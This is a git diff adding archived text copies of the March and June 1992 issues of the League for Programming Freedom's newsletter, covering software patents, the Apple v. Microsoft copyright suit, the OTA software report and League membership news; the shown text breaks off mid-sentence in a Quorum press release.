b/textfiles.com/magazines/LPF/lpf3.txt new file mode 100644 index 00000000..724de869 --- /dev/null +++ b/textfiles.com/magazines/LPF/lpf3.txt @@ -0,0 +1,524 @@ + + _______________________________________________________ + | | + | March 1992 -==- Volume I Number 3 | + | | + | PROGRAMMING FREEDOM - online edition | + | league@prep.ai.mit.edu | + | | + | The Electronic Newsletter of | + | The League for Programming Freedom | + | 1 Kendall Sq #143, POBox #9171, Cambridge MA 02139 | + | Phone: (617) 243-4091 (voicemail only-leave your | + |address or phone number, and we'll answer your query)| + | Editor: Spike R. MacPhee (spiker@prep.ai.mit.edu) | + | Reproduction of Programming Freedom via all | + | electronic media is encouraged. | + | To reproduce a signed article individually, | + | please contact the author for permission. | + |_____________________________________________________| + + <><><><><> TABLE OF CONTENTS <><><><><> + + John von Neumann Opposed Patents + LPF publicity: Cons, media mentions, & volunteer efforts + San Jose Mercury News Wed Feb 12, 1992: Apple puts price on suit + Microsoft Files Dismissal Motions - Analysis by Charles B. Kramer + LPF .signature publicity increasing + On the road with rms - latest West Coast trip + Mail: How can I find out when LPF meetings are going + to be held? and a reply by Michael Ernst + LPF at SD 92 - rms + Who's News: Judge Walker Adds to Drama Of Apple Suit - DELETED + LPF email lists - what they are for + Mail: An opinion against direct mailing + LPF Boutique: Materials Available from the League + + --==-- + + John von Neumann Opposed Patents + ******************************** + +The biography, `John von Neumann and the Origins of Modern Computing' +(by William Asprey, MIT Press, 1990, pp. 41-45), describes a patent +dispute in 1946-47 that Von Neumann had with Eckert and Mauchly over +the EDVAC. Von Neumann had been a consultant to the EDVAC project and +had contributed to many of the fundamental inventions there. In 1946, +Eckert and Mauchly attempted to patent much of the EDVAC technology, +including that which von Neumann claimed he had invented. + +The fight ended when a draft report on EDVAC that von Neumann had +written in 1945 was held to be a prior publication. Thus, all of the +inventions in question became part of the public domain. + +One result of this dispute was that von Neumann changed the patent +policy for his computer project at the Institute for Advanced Studies. +The original plan was to have patents assigned to individual +engineers. Instead, all ideas were placed in the public domain. + +Von Neumann said "This meant, of course, that the situation had taken +a turn which is very favorable for us, since we are hardly interested +in exclusive patents, but rather in seeing that anything that we +contributed to the subject ... remains as accessible as possible to +the general public." + + --==-- + + <><><>LPF publicity: Cons, media mentions, & volunteer efforts<><><> + +Send in any LPF mentions or volunteer efforts and we'll list it. + +Nov 91: Unix User reprinted "Against Software Patents" + +Jan - Feb: J. Eric Townsend of U. of Houston, Texas, jet@uh.edu, asked +for LPF tshirts to sell locally and sold over a dozen, counting the +three people who emailed and then wrote us as a result of his posts to +Texas bulletin boards. He has a stock of handouts, stickers and a few +buttons that he can give out in the local area. + +Feb 23-8: SD 92 conf in Santa Clara - we again took a booth (see + article by rms). + +Mar 16: National Law Journal - article on rms & Feb 29 Computer Law +Symposium at UCal Hastings College of Law. + +Mar 28-9: Boston Computer Society Macintosh Megameeting - LPF table + +Spring 92: (Vol 12 #1) EurOpen: Forum for Open Systems News Letter ran +"Against Software Patents" + + --==-- + + <>San Jose Mercury News Wed Feb 12, 1992: Apple Puts Price on Suit<> + +Nearly four years after it sued Microsoft Corp. for copyright +infringement, Apple Computer finally put a whopping $4.4 billion price +tag on the damages it alleges it suffered at the hands of Microsoft's +Windows program. + +The enormous sum has no precedent in copyright law and few equals in +any type of civil litigation in the United States. It is nearly twice +Microsoft's #2.4 billion in revenues for all of 1991 and some 70 +percent of Apple's $6.3 billion revenues for the same year. The +figure represents almost half the value of company Chairman William H. +Gates' $7.35 billion stake in Microsoft. + +The figure is contained in a document filed by Apple in U.S. District +Court in San Francisco on Feb. 1 but sealed until Tuesday, when the +company agreed to allow Microsoft to make part of it public. It is +the latest in a tortuous series of legal maneuvers since Apple sued +Microsoft and Hewlett-Packard Co. in 1988, alleging that Microsoft had +copied the "look and feel" of the Macintosh computer's user interface +in its Windows program. H-P is involved because the New Wave user +interface is based largely on Windows. + +The trial is expected to start this summer. + +According to a statement by Microsoft, the amount comprises slightly +more than $3 billion Apple claims it suffered in reduced unit sales +and depressed selling prices, and $1.4 billion in gross revenues it +claims Microsoft realized selling Windows and related applications +programs. + +The two companies disagree, however, on what the total figure means. +Apple spokeswoman Barbara Krause said the sum is not Apple's actual +damages claim but only the estimate of one expert witness, Robert E. +Hall of the Hoover Institution at Stanford University. "We have not +said what the damages will be," she said. + +But Microsoft contends it is Apple's "statement of damages," said +William H. Neukom, Microsoft's vice president of law and corporate +affairs, who described the figure as "unsupportable and speculative." + +Attorneys and analysts say the sum is very likely legal posturing, and +both sides agree the figure Apple actually presents to the jury at the +start of the trial could be different. Even if it is not, observers +agree that the $4.4 billion is unlikely to be close to what Apple +might be awarded should it win the case. + +"There will be no settlement at or near those figures," said Dan +Kaufman, an intellectual-property attorney with Brobeck, Phleger & +Harrison in Palo Alto. "If they ask for a number like that, they will +have to fight to the death." + +The largest judgement in a similar case, involving a patent dispute +over instant photography between Polaroid and Eastman Kodak, amounted +to only $873 million -- nearly half of that interest accrued during +the 14 years the case dragged through the courts. Only a few +class-action lawsuits involving thousands of victims have ended up +with multibillion-dollar judgements, Kaufman said. + +Throwing such a figure on the table "makes it difficult to see them +settling this for cash," said Doug Kass, a Dataquest Inc. analyst. + +Both Apple and Microsoft say they have no current intention of +settling the case. + +[The Mercury News lets non-profit corporations reprint their articles, +and even allows electronic distribution.] + +Addendum: In March, Microsoft said that Apple had increased the +damage claim in the lawsuit from $4.37 billion to $5.55 billion. + + --==-- + +<>Microsoft Files Dismissal Motions - Analysis by Charles B. Kramer<> + +Microsoft has filed motions seeking to dismiss Apple's claims in their +user-interface copyright infringement case. At issue is principally +whether Microsoft's Windows copies a certain 10 "screen elements" from +Apple's Macintosh GUI, and if so, whether the copying constitutes +copyright infringement. The 10 elements are all that remain out of a +much greater number of "similarities in particular features" that +Apple earlier asserted were wrongfully copied by Microsoft. + +Taken together, Microsoft's motions ask for dismissal with respect to +the 10 screen elements on three alternative and largely overlapping +grounds. The grounds, in effect, are: + +[1] THE SCREEN ELEMENTS ARE ALREADY LICENSED TO MICROSOFT + UNDER THE 1985 AGREEMENT THAT RESOLVED APPLE'S CLAIM THAT + WINDOWS VER. 1.0 COPIED THE MACINTOSH GUI + +The 1985 Agreement has come to haunt Microsoft, because in it +Microsoft got a license to the Mac GUI, but also "acknowledged" that +Windows Ver. 1.0 derives from the GUI in a copyright sense. + +[2] THE SCREEN ELEMENTS CANNOT BE PROTECTED BY COPYRIGHT AS A + MATTER OF LAW. + +In furtherance of this ground, Microsoft continues to assert, among +other things, that the elements are not protected by copyright because +they are merely the "functional" aspects of Apple's user interface, +and are not "artistic" expression. Copyright law protects artistic +expression, not expression that serves a functional purpose. + +[3] THE SCREEN ELEMENTS WERE NOT ORIGINATED BY APPLE. + +The status of this argument is the most unclear of the three. In +August, the Judge overseeing the case ruled that if Apple had copied +expressive elements of the Macintosh GUI "directly... from +pre-existing works", then Apple "has no right to preclude others from +using those same 'unoriginal' elements". But the Judge also ruled +that Apple's GUI could be found original if the preexisting features +it uses are "different" or are combined in an "innovative way". The +Judge also mentioned that a certain law review article "might well +provide a sound basis" for deciding the case. + +The law review article takes the position that copyright protection +should be a function of how much financial investment has been put +into a work. On March 25, 1992, the Wall Street Journal reported that +Jerome Reichman, a copyright expert, stated that application of the +theory to the Apple/Microsoft case is "just wild" and "really off the +wall". Perhaps Mr. Reichman is thinking of a recent Supreme Court +decision that emphatically stated (although not in a user interface +context) that mere labor and effort are *not* substitutes for the +originality that copyrights protect. + +>From the League's point of view, only dismissal on ground [2] would +be a clear victory with the best chance of correctly directing the +copyright/user interface debate. Unfortunately, Microsoft is unlikely +to win dismissal on any of the 3 grounds, in which event the case will +likely be decided by a jury. + +Charles B. Kramer -Attorney- +>From Internet 72600.2026@Compuserve.com + + --==-- + + <><><>LPF .signature publicity increasing<><><> + +Here's one example of a member who mentions LPF in his .sig, as a +growing percentage of members do. + + ...just to let you know. I receive one request for information + about the LPF every two or three weeks on average. Not so bad. + +Francois Pinard ``Vivement GNU!'' pinard@iro.umontreal.ca +Consider joining the League for Programming Freedom. Email for details + +And one person's request for LPF info as a result: + + Well, after seeing all these .signatures with your guys' name on + it, I decided to find out what it was all about. + +Last issue, I said that we were getting 2 or more .sig-generated +queries per week; now it's up to 4 or more per week. We've increased +our size by one-third since the start of the year, from 450 to over +600. + +Number of members who have joined or renewed within the last year: +617. - srm - + + --==-- + + <><><>On the road with rms - latest West Coast speaking trip<><><> + +This February, Richard Stallman gave five speeches for the LPF in the +San Francisco area, including one of them at the Hastings College of +the Law. The other talks were at Stanford, Berkeley, and two CPSR +chapters. + +At some of these talks he ran into some opposition from a new group +called the "Abraham Lincoln Patent Holders' Association", which was +founded by Paul Heckel. (That is the person who threatened to sue the +users of Hypercard in order to pressure Apple into paying him money.) + +One of Heckel's associates, a lawyer named Higgins, spoke at Hastings. +The audience there seemed to believe Stallman more, but one attendee +said, "That's because they are lawyers and they are trained to find +the flaws in a fallacious argument. If it were a less sophisticated +audience, many of them would believe Higgins because he is a lawyer." + +At one talk, Heckel himself showed up, and proceeded to live up to his +name. Stallman mentioned the fact that Heckel has admitted not +realizing that Hypercard might be considered to infringe Heckel's +patent, until being informed of this by his lawyer. Heckel said, "I +was simply misinformed as to the scope of my protection." Of course, +this only substantiated the point that Stallman was trying to make, +and pointing this out caused Heckel to sit down and keep quiet for the +rest of the talk. + +Heckel came to Stallman's next talk also, but left three-quarters of +the way through without saying anything. What does this mean? +The optimistic interpretation is that he was stymied. The pessimistic +one is that he came to gather ammunition. + +The remaining talk of the six was at the Critical Software Meeting - +an annual meeting of people involved in software development for the +DOD. This talk seems to have had mixed success: several of the +attendees said they were stunned by what they heard; but they did not +vote to choose intellectual property as a topic for further work +during the meeting. + + --==-- + +<>Mail: "How can I find out when LPF meetings are going to be held?"<> + +This question is becoming a FAQ (Frequently Asked Question). + +I don't know of any meetings coming up; the LPF tends to be light on +face-to-face meetings. We do have an annual meeting in Boston near +the end of each calendar year, and all members are notified weeks in +advance. Adam Richter sometimes organizes meetings for members in the +Berkeley area. + +Many of us do much of our interaction over the electronic nets, and +projects (such as writing articles, having t-shirts printed, educating +the public, etc.) tend to be initiated by one member, though others +often help out. If you'd like to volunteer to do something, that's +terrific, as we can always use more. If you can suggest a project +you'd be willing to do, all the better. + +Members might want to organize meetings of the members in their area. +People interested in doing this should contact both Spike MacPhee, +spiker@prep.ai.mit.edu, and Adam Richter, adam@soda.berkeley.edu, to +get help and advice. + mernst@theory.lcs.mit.edu (Michael Ernst) + +Michael maintains the LPF off-line print library of LPF, patent, and +copyright articles, and the on-line index to them. See "League Papers +Online" in the Boutique section at the end of the issue. + + --==-- + + <><><>LPF at SD 92 - Richard M. Stallman<><><> + +In February, the LPF had a booth at the SD92 trade show in Santa +Clara, CA, just as we did a year ago. This show is attended primarily +by software developers from the PC world. + +The primary purpose of the booth was to inform more programmers of the +problems they face, and to recruit their support. A secondary goal +was to raise money with buttons, t-shirts and mugs. + +The booth was staffed by Peter Deutsch, Peter Hendrickson, Hans +Reiser, Adam Richter, and Richard Stallman. + +We had considerable success toward the main goal. We distributed +around 700 buttons and probably 1500 position paper booklets. We +signed up 14 new members at the booth. + +We didn't achieve the secondary goal; we spent around $2500 (including +the cost of the supplies) and made back only around $1500. (It's +possible that additional people who met us there will join and reduce +the gap, but it will be hard to tell.) At this point, it is not clear +whether we should consider this a cost-effective activity. + + --==-- + + <><><> Who's News: Judge Walker Adds to Drama Of Apple Suit<><><> + By Richard B. Schmitt, Staff Reporter of The Wall Street Journal + WEDNESDAY, MARCH 25, 1992 + THE WALL STREET JOURNAL. (c) 1992 Dow Jones & Company, Inc. + +[The Wall Street Journal asked for $77 royalties for us to run 800 +copies of this two-page article in paper form only: they said it is +illegal to reproduce this article in electronic form for network, +email or database distribution, and would not give permission for +anyone to do so for any of their articles. The LPF Board chose not to +distribute this issue in paper form only. Check out this interesting +article about the trial judge at your local library.] + + --==-- + + <><><>LPF email lists - what they are for<><><> + +This moderated mailing list + league-activists@prep.ai.mit.edu + and its two sub-lists: + league-activists-boston@prep.ai.mit.edu + and league-activists-remote@prep.ai.mit.edu should be used only +for members' requests for assistance in league projects, local or +nationally, or for announcements from LPF. + +These lists are filtered by a moderator to: + - insure this use; + - minimize the number of messages; + - remove items meant for the list's -request address; + - forward items that should have been sent to another list. + +There may be a delay of up to 3 days for your message to be sent on +L-act, so plan ahead for volunteer requests. + +League-tactics@prep.ai.mit.edu is for discussion of LPF directions and +is not moderated. + +If you want to subscribe, change your eddress (email address), or be +removed from either list, please use: + + league-activists-request@prep.ai.mit.edu +or league-tactics-request@prep.ai.mit.edu + + +Michael I. Bushnell is stepping down after a year of being the ecom +(electronic communicator) for league@prep.ai.mit.edu, the LPF's +information eddress. We would like to thank him for the 2-3 hours each +week that he spent as a volunteer on our behalf answering queries. + + --==-- + + <><><>Mail: an opinion against direct mailing - C. Jeffery<><><> + +Reading your [Jan] online edition of PROGRAMMING FREEDOM I am reminded +of why I haven't renewed my League membership. I believe in the +League and its objectives, but I will not support the use of direct +mail campaigns. The easiest way to *not* support direct mail is to +not renew my membership. + +99.9% of the direct mail I receive goes into the garbage can unopened. +I resent it, and I suspect others may feel the same way. Did the +League really reach 4000 people? I count 14 people, not 4000. Direct +mail is also wasteful environmentally. + +I am not offering a solution to the problem of delivering the league's +message where it is needed. I wish I could. But I am voicing an +opinion about direct mailing. It has a worse effect on our society +than software patents. The ends do not justify the means. + + Clinton Jeffery + cjeffery@cs.arizona.edu + +Last year league-tactics got a half-dozen messages from members who +objected to direct mail for one reason or another. This was Aubrey +Jaffer's reply to them: + + Direct Mail is the least intrusive form of advertising. It takes + less than a second to throw away a piece of mail. Unlike a + billboard or poster or television advertisement you don't have to + look at it day after day. For example, It took longer for me + receive the first screen of your unsolicited message (at 1200 + baud) than it does for you to throw away mail. + + As for waste of paper and gas, We are sending out 4000 pieces + compared to the billion of pieces a day the post office handles. + Our mailing is made from recyclable materials (no windows in the + envelopes). + +If a large number of League members object to direct mailing then that +could be a reason to stop; but just a half-dozen doesn't seem like +enough reason to stop, given that the officers don't share the +sentiment. At present, the Board is planning to debate the +feasibility of a 2nd experiment in direct mailing. Make your pro or +con views known to us at league-tactics@prep.ai.mit.edu. + + --==-- + + <><><> LPF Boutique: Materials Available from the League <><><> + + Send your order to the League address in the masthead. + + Buttons + We have reprinted the famous ``fanged apple'' buttons. These +buttons show the symbol of Apple computer with an alien snake's body +and face. + You can buy buttons by mail from the League, for $2 each, in +quantities of at least three. We give out buttons at events, but ask +for a donation. + Stickers + We also have stickers showing Liberty Empowering the Programmer, +with the League's name and address. + You can order stickers by mail from the League at the price of $5 +for 10 stickers; for larger orders, phone us to discuss a price. We +hand them out free when it is convenient, such as at our events, but +since mailing packages to individuals costs money, we want to make it +an opportunity to raise funds. + Post stickers at eye level and separated from other posted +articles, to make them easy to see. The stickers are not made to +survive rain. + Liberty Postcards + We also have postcards showing Liberty Empowering the Programmer, +with the League's name and address. Same terms as the stickers. + + Large Liberty Posters + We have a few posters with the same image that is on the +stickers, approximately 2.5 ft by 1.5 ft. We used such posters to +make signs for the protest rally. If you need some, talk with the +League and we'll work out a deal. + + Coffee Mugs + Our coffee mugs have the Fanged Apple design in full color on one +side and ``League for Programming Freedom'' on the other. They hold +twelve ounces and are microwave safe. You can order a mug for $15, +nonmembers $17, plus $3.00 shipping and handling. They are now in +stock. Note the price increase. + + T-Shirts + Michael Ernst has produced t-shirts with Liberty and ``League for +Programming Freedom'' on the front and ``Innovate, Don't Litigate'' on +the back. (The back slogan will change from time to time.) You can +order shirts by mail from the League for $10, nonmembers $12, plus $2 +for shipping and handling. Available colors are yellow, blue and +peach; if you specify a color, we will assume you would rather have +the other color than no shirt. If you want a chosen color or nothing, +say so explicitly. Please specify the shirt size! (M, L or XL.) +We are temporarily out of XL shirts, but are getting some back from a +member who had volunteered to sell some and sold a dozen. + + Position Papers and Memberships + We will send anyone a copy of the League position papers. If you +want other copies to hand out at an event, we'll send you as many as +you need. Please discuss your plans with us. One-year memberships +are $42 for professionals, $10.50 for students, and $21 for others. +The dues are $100 for an institution with up to three employees, $250 +for an institution with four to nine employees, and $500 for an +institution with ten or more employees. For $5000, an institution can +be a sponsor rather than a member. We have 10 inst. members, now. + + League Papers Online +You can retrieve LPF written materials by anonymous ftp from +prep.ai.mit.edu in the directory /pub/lpf. These include the position +papers, membership form, handouts, friends of the court briefs, and +articles about the LPF's issues of concern. + + League Video Cassettes +We have video tapes of some of Richard Stallman's speeches for the +LPF. If you'd like to give LPF speeches, we can send you copies of +these tapes to give you an example to learn from. If you'd like +copies for another purpose, we can send them for $20 each. <><><> + + <><><> End of March 1992 Programming Freedom <><><> + + + + diff --git a/textfiles.com/magazines/LPF/lpf4.txt b/textfiles.com/magazines/LPF/lpf4.txt new file mode 100644 index 00000000..35945bf4 --- /dev/null +++ b/textfiles.com/magazines/LPF/lpf4.txt @@ -0,0 +1,595 @@ + + _______________________________________________________ + | | + | PROGRAMMING FREEDOM - online edition | + | league@prep.ai.mit.edu | + | | + | June 1992 -==- Volume I Number 4 | + | | + | The Electronic Newsletter of | + | The League for Programming Freedom | + | 1 Kendall Sq #143, POBox #9171, Cambridge MA 02139 | + | Editor: Spike R. MacPhee (spiker@prep.ai.mit.edu) | + |Assistant Editor: Andy Oram (oram@hicomb.hi.com) | + | Reproduction of Programming Freedom via all | + | electronic media is encouraged. | + | To reproduce a signed article individually, | + | please contact the author for permission. | + |_____________________________________________________| + + <><><><><> TABLE OF CONTENTS <><><><><> + + An analysis of the Congressional OTA Report - Simson Garfinkel + LPF publicity: Cons, media mentions, & volunteer efforts + Patent law "harmonization" Congressional bills introduce + LPF News - 50% membership increase; voicemail down temporarily + Quorum Files Declaratory Judgment Action Against Apple Computer + MacBlaster game, item noticed by Christopher Glaeser + LPF email lists - what they are for + Apple-Microsoft/HP suit news + LPF Boutique: Materials Available from the League + --==-- + + <>An analysis of the Congressional OTA Report - Simson Garfinkel<> + +Report on "Finding A Balance":, the Congressional Office of +Technology's 1992 report on "Computer Software, Intellectual Property +and the Challenge of Technological Change." + +On May 1 the Congressional Office of Technology Assessment (OTA) +issued its long-awaited report on the impact of copyright and patent +law on computer programs. This 228-page report is the most +comprehensive description to date of the issues of primary importance +to The League. + +The OTA's mission is to analyze policy questions pertaining to +technology in an objective and bipartisan way - not to make policy +recommendations. For this reason, the OTA's report does not conclude +if patents and copyrights are "good" or "bad" for software or the +country as a whole: it simply provides an analysis of the current +state-of-affairs and outlines policy options available to Congress. + +The OTA's report is therefore likely to be at the heart of any future +action taken by Congress on these matters. + +"Finding A Balance" is the last in a series of reports that OTA has +been issuing on intellectual property law. Other reports have looked +at the electronic redistribution of information ("Intellectual +Property Rights in an Age of Electronics and Information," OTA 1986), +the role of patents in the field of biotechnology ("New Developments +in Biotechnology: Patenting Life - Special Report," OTA 1989), and +the impact of home copying ("Copyright and Home Copying: Technology +Challenges the Law," OTA 1989). + +THE LEGAL ENVIRONMENT + +Until now, the ways that copyright and patent law has been applied to +different parts of a program in different ways. Nearly all of these +determinations have been made in the courts. Most observers feel that +the courts are the wrong place for these decisions to be made. +Indeed, different courts around the country have issued different, +often contradictory, rulings about the extent to which copyrights and +patents affect the writers of programs. + +The problem, says OTA, is that there are elements of computer programs +that are like literature, and apparently covered by existing copyright +laws, while there are other elements that smack of invention and +should therefore be covered by patent laws. OTA points out that +software is the only thing in American society that can be covered by +copyright, patent and trade secret laws at the same time. + +The report focuses on four main elements of computer program: + + * The program code itself + * The user interface design + * The program's external design + * The program's function + +It then analyzes how copyright and patent law are affecting the +development of programs. Finally it concludes with possible policy +options for Congress. + +APPROACHES + +There is no question today that copyright and patent laws are in a +state of flux with respect to computer programs. But there is a real +question about the way that the problem should be addressed. + +Today there are two schools of thought in the United States of how the +situation should be fixed: one school of thought is that Congress +should clarify the ways in which copyright and patent law affects +computer programs. The second school holds that Congress should create +a new "sui generis" approach that deals specifically with computer +software. + +The OTA disagrees with the statement that "the majority of legal +experts and firms in the industry take the position that existing +structures like copyright and/or patent are adequate to deal with +software." Case law will evolve in the courts, OTA says these experts +contend, and "sui generis approaches risk obsolescence as the +technology changes." + +Instead, OTA says, "despite the advantages, there are questions as to +whether this process of accommodation can - or should - continue +indefinitely. With respect to software, there may be a point where it +becomes preferable to complement or substitute ... the existing +structures, rather than extend the scope of copyright to fit certain +aspects of software," (p. 8). + +COPYRIGHT + +OTA first tackles the question of copyright. The issue of primary +importance, says OTA, is to prevent the wholesale pirating of +completed computer programs. The straightforward way to do this is to +treat a program as a literary work. This approach is well-established +in both US and International law. Nevertheless, says OTA, there is +still a great deal of software piracy - particularly overseas. + +Beyond the question of verbatim copying, there is a "fuzzy" line as +more and more aspects of a program's design and function are covered +by copyright law. + +One option for Congress, says OTA, would be not to act and let these +matters be resolved in the courts. A way to speed that process would +be for congress to establish a special "fast track" inside the court +system for intellectual property litigations. + +If Congress does want to do something, one of the first things that it +could do, says OTA, is to clarify the scope of copyright to either +specifically include or exclude "one or more aspects of software, such +as:" + + * computer languages + * algorithms + * design specifications + * user interfaces. + * other interfaces. + +Congress could do this by: + + * Expanding upon the Copyright Law's current language on "subject +matter of copyright" by saying that the above are or are not +copyrightable subject material. + +Another option, says OTA, would be for congress to exempt computer +programs from copyright and make them subject to new "sui generis" +laws. + +Although not an issue of primary concern to the league, the OTA report +also covers the question of reverse engineering. OTA calls upon +Congress to specifically address the question of reverse engineering +-- either through legislation or cooperation with industry -- and +clarify whether reverse engineering is considered "fair use" under the +copyright law. + +OTA suggested that Congress might want to develop a technique for +giving "limited rights for incremental software advances that would +not be patentable or for aspects of program functionality that fall +outside copyrightable subject matter." + +PATENTS + +Computer-related Patents pose a special problem to the PTO, OTA says, +because the Supreme Court has ruled that mathematical algorithms may +not be patented but processes - including processes that involve +computers - may be patented. + +"The long-term question of whether patent (or patentlike) protection +for computer processes and/or algorithms is socially desirable is +separate from the related question of how well current U.S. Patent and +Trademark Office (PTO) procedures are working now," (p. 10). + +On the question of whether or not the PTO procedures are working now, +OTA concludes that they aren't. + +OTA states that the biggest problem preventing the PTO from carrying +out its current mission is a problem of dealing with prior art. PTO +is forbidden from issuing patents unless they are "non-obvious" to +practitioners in the field and "novel" - that is, have never been +implemented before. + +The LPF believes that they are mistaken--while this problem does +contribute to bad consequences, even a perfect awareness of the prior +art would at most eliminate a fraction of them. Rms has written an +article relevant to this that was in Computerworld and it will be in +our next issue. + +Because of PTO's problems, OTA says, patents have been issued that are +neither non-obvious nor novel. + +The PTO has "serious" problems, OTA says, including: + + * Examiner training and turnover + * Length of pendency periods (from filing to issuance) for + patent applications. + * The backlog of applications + * The quality and extent of the prior art database. + + +PTO's problems quickly become those of practitioners in the field, +says OTA, because they create an uncertain economic environment in +which to operate. At the root of this uncertain environment is "the +long timelag between patent applications and issuance, compared to +fast-moving software life cycles." (p.7) Programs can be conceived, +developed and brought to market by one company between the time that +another company files for and is awarded a patent. OTA calls such +patents "land-mine patents." + +To solve these problems, OTA says, the patent office could "fill in" +its database of both patent and non-patent prior art. OTA recommends +that the PTO could revise its electronic search system so that +examiners can easily pull from the database all software-related +patents (currently, OTA says, this is impossible to do). PTO could +reclassify its patents in the computer arts. The OTA recommends that +PTO may want to perform this reclassification and filling-in in +conjunction with the computer industry. + +One way to eliminate "land-mine patents" - patents that are filed +when the technology is new but granted many years in the future - +suggests OTA is to require the PTO to publish all software-related +patent applications published after 18 months, whether or not the +patents were issued. + +* long-term issues + +The OTA report is much hazier on whether patents for software are a +good or bad thing. "Some members of the software and legal +communities believe that software-related patents will tend to stifle, +rather than encourage, technological progress," says OTA. + +In one footnote, OTA reprints a letter from Robert S. Boyer (Professor +of Computer Sciences, University of Texas, and an LPF member) +recommending that "patent law should be clarified to the effect that a +patent is never infringed merely by the use of software on a +computer." + +OTA notes that "protection of software-related inventions and +algorithms by patent is a recent development and is controversial." +OTA states that the meaning of the term "mathematical algorithm" +(which PTO is forbidden to patent) "has been the subject of +considerable discussion and debate." Algorithms are not +"mathematical" if they can be stated in terms of operations on things +in the "real world." + +"Over the past decade, patents have been issued for software-related +inventions such as": + + * linear-programming algorithms + * spell-checking routines + * logic-ordering operations for spreadsheet programs + * brokerage cash-management systems + * and bank-college savings systems + +"To some industry observers, there appears to be variance--or, at +least, uncertainty on their part--in how PTO guidelines are being +applied during examination," (p. 32). + +OTA doesn't reach a conclusion; instead, it always falls back on the +technical problems currently facing the PTO in deciding whether or not +software is "novel" and "non-obvious." + +OTA asked PTO to walk it through a typical software-related patent +application. PTO refused. + +OTA identifies three different policy issues regarding software +patents: + +* Statutory Subject Matter for Patents + +"To reduce uncertainties and clarify legislative intent, Congress +could explicitly address the question of patentability for +software-related inventions and for certain algorithms," (p. 32). + +This would be a far more difficult problem than defining the scope of +copyright, says OTA. "The term 'software patent' does not correspond +to any PTO category," (p. 32). Nevertheless, Congress could: + + "Option 2.1: Refine the statutory definition of patentable +subject matter to provide guidance to the courts and PTO. Legislation +might address the extent to which processes implemented in software or +"mathematical algorithms" are or are not statutory subject matter. +Legislation might also address the issue of special exemptions, such +as for research and education. + + "Option 2.2: Exclude software-related inventions and/or +algorithms from the patent law and create a special, sui generis +protection within a patent framework for some inventions. This latter +might have a short term, lower criteria for inventiveness, and/or +special exemptions from infringement" + +* Prior art and Examination Quality and Timeliness + +On the question of prior art, OTA says that the database of prior art +must be filled in. They suggest: + + "Option 2.3: Encourage establishment of a supplementary +repository of nonpatent prior art, either public or private." + +OTA also outlines three ways that PTO could improve its internal +process, including developing a new automated program for +cross-indexing and retrieval of patents, improved training and +funding, and increased input from the software community. + +SUMMARY + +Instead of seeing software patents and look-and-feel copyright as an +issue of free speech, OTA's report takes a very conservative approach: +the current system isn't working in a fair or uniform manner. + +As the title of the OTA's report indicates, the agencies biggest +concern is finding a balance and presenting options for congress. + +This report presents Congress with many policy options that are +diametrically opposed. For example, it says that Congress could +specifically exempt programs from copyright or it could strengthen +copyrights on programs. + +To order your own copy, send $11.00 (international customers add 25%) +to: + + Superintendent of Documents + P.O. Box 371954 + Pittsburgh, PA 15250-7954 +fax: 202-512-2250 + +Payment may be in the form of check, payable to Superintendent of +Documents, GPO Deposit Account #, or VISA or MasterCard (be sure to +include your expiration date and authorizing signature.) + --==-- + + <><> LPF publicity: Cons, media mentions, & volunteer efforts<><> + +Send in any LPF mentions or volunteer efforts and we'll list it. + +April 13: Unix User's Association of Southern California - software +patents speech by Paul Eggert (eggert@twinsun.com) + +April 27: Computing Professionals for Social Responsibility, LA +Chapter - software patents speech by Paul Eggert. + +April 27-30: XWorld Conference and Exhibition, New York - LPF +materials brought by David B. Lewis, uunet!craft!david@uunet.uu.net + --==-- + + <><>Patent law "harmonization" Congressional bills introduced<><> + +Electrical Engineering Times, 4/27/92, p. 32, has an article on bills +introduced into Congress for patent law "harmonization". These are +supposed to bring us in line with the rest of the world. The major +changes are: + + 1: We change the law from "first-to-invent" to "first-to-file". + Apparently some lip service is being paid to the notion of + protecting an original inventor from being shafted by a + quick filer, but exactly how this will be managed is not + clear. + 2: Patents will be make public 18 months after the application + is received, instead of being help privately until being + granted. + 3: The term would change from 17 to 20 years. The term would + start on the filing date instead of the date of issue. + 4: An expedited patent search system so invalid patent + applications can be located before the application is made + public in 18 months. + +The article doesn't even try to guess what the chances are of this +bill passing, although it does say "Even though the U.S patent system +seems to be the odd man out in the international arena, there is no +huge pressure for change in the United States." Sorry about that... + +Summary by Mark R. Nelson, 73650.312@CompuServe.COM + --==-- + + <><><>LPF News - 50% membership increase; voicemail down<><><> + +The active membership, people who have renewed in the last year, has +increased from 450 at Christmas to 689 as of June first. This is a 53% +increase in less than a half-year. Thanks to you all for the recruiting +and publicity efforts that have made this possible. + +Our voicemail number is temporarily down; the subcontractor who +provided voicemail service to our snailmail mailbox company abruptly +went bankrupt; we are attempting to recover the number from them and +provide more reliable service to you without obsoleting our stocks of +LPF materials with the voicemail number on them. + --==-- + + <> Quorum Files Declaratory Judgment Action Against Apple Computer<> + +Lawsuit Seeks Relief From Apple Allegations Of Copyright, Patent +Infringement - A press Release from Quorum Software Systems, Inc. + +Menlo Park, Calif., May 12, 1992 - Quorum Software Systems, Inc. today +announced it has brought legal action against Apple Computer, Inc. +(Cupertino, CA) to counter unsupported allegations of patent and +copyright infringement. Quorum's lawsuit stems from recent letters in +which Apple accused Quorum of infringing its intellectual property +rights, and revoked Quorum's privileges as an Apple Certified +Developer. + +Additionally, the complaint seeks redress for Apple's accusation that +Quorum, in helping independent software developers (ISVs) migrate +their Macintosh-compatible applications to other platforms, induced +those ISVs to violate licensing and confidentiality agreements with +Apple. Apple's assertion implies that developers have knowingly or +unknowingly included Apple proprietary information in their +independent source code. Quorum believes Apple cannot assert any +ownership of application source code created by independent software +developers. + +The complaint centers on the allegation that Quorum Latitude, a +cross-platform compatibility tool that enables Macintosh-compatible +applications to run on other computer platforms, violates Apple +patents on "pull-down menus" and "Color QuickDraw" and Apple's +copyrights. Latitude relies solely on the use of Motif or Open Look +for pull-down menus and uses Adobe Display PostScript or SunSoft NeWS +for screen rendering, and therefore could not infringe on Apple's +patents or copyrights. + +Quorum asks the United States District Court for the Northern District +of California to rule that Quorum has not infringed any copyrights or +patents of Apple and to prohibit Apple from making further assertions +that Latitude violates any Apple intellectual property rights. + +"From the very beginning of our technology development, we have +carefully avoided any perceived or actual infringement of Apple's +intellectual property rights," said Sheldon Breiner, president and +co-founder of Quorum. "For Apple to accuse us of impropriety is to +discredit the technical innovations we have achieved in our Quorum +Compatibility Engine and Latitude product." + +"Like any other independent developer, we read publicly available +information such as Inside Macintosh and then wrote some innovative +software," said R. Martin Chavez, co-founder and chief technical +officer. "The Compatibility Engine 